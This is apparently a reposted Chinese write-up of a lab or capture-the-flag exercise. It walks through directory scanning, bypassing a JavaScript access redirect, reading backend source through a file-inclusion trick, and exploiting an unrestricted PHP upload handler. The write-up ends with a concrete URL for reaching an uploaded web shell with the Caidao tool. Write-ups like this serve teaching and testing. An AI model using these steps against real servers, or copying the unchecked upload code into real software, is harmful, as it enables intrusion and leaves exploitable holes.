? ??? ? ? ? 由于最近比較忙,暫時沒有時間更新,所以分享分享一些其他博主文章,大家敬請諒解
摘要:?dirbuster掃描目錄發現幾個有用的東東/admin/upload.php/admin/upload1.php/admin/upload2.php訪問的時候最后都會跳轉到/admin/upload...
dirbuster掃描目錄發現幾個有用的東東
/admin/upload.php |
/admin/upload1.php |
/admin/upload2.php |
訪問的時候最后都會跳轉到/admin/upload2.php?前端沒任何東西
但是/admin/upload1.php會有一個彈窗,查看一下前端代碼
view-source:http://219.153.49.228:43799/admin/upload1.php
會發現
Markup
<script language=javascript>alert('您無權限訪問!');window.open('upload2.php','_top');script>
<form enctype="multipart/form-data" action="upload_file.php" method="post">
Send this file: <input name="filename" type="file">
<input type="hidden" name="verify" value="f8fc6604c7150e1d"/>
<input type="submit" value="Send File">
form>
第一行調用了javascript,我們在瀏覽器里把JavaScript禁用就能正常訪問了
而且這里有個亮眼的點
先抓一下訪問包,再抓一下上傳包
可以看到,upload_file.php是用來處理數據的,upload1.php我猜測是來生成cookie的它讀取服務器上的一個txt文件,這里很有可能存在文件包含漏洞
嘗試一下把uploadmd5的值改為upload_file.php
讀取一下后端代碼?
對這段代碼進行分析
PHP
<?php
$path="uploadfile/";//上傳路徑
$verify=$_POST["verify"];//接收verify參數
$time=date("Ymd");//取當前日期,今天是20200515
if($_FILES["filename"]["name"])
{
$file1=$_FILES["filename"]["name"];//取上傳文件名
$file2 = $path.$time.'_'.$verify.'_'.$file1; //拼接字符串,分析一下大概就是/uploadfile/20200515_f8fc6604c7150e1d_shell.php
$flag=1;
}
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
if($result) echo "上傳成功!";
?>
菜刀鏈接即可
PHP
http://219.153.49.228:43799/admin/uploadfile/20200515_f8fc6604c7150e1d_shell.php?a=1Q2W3E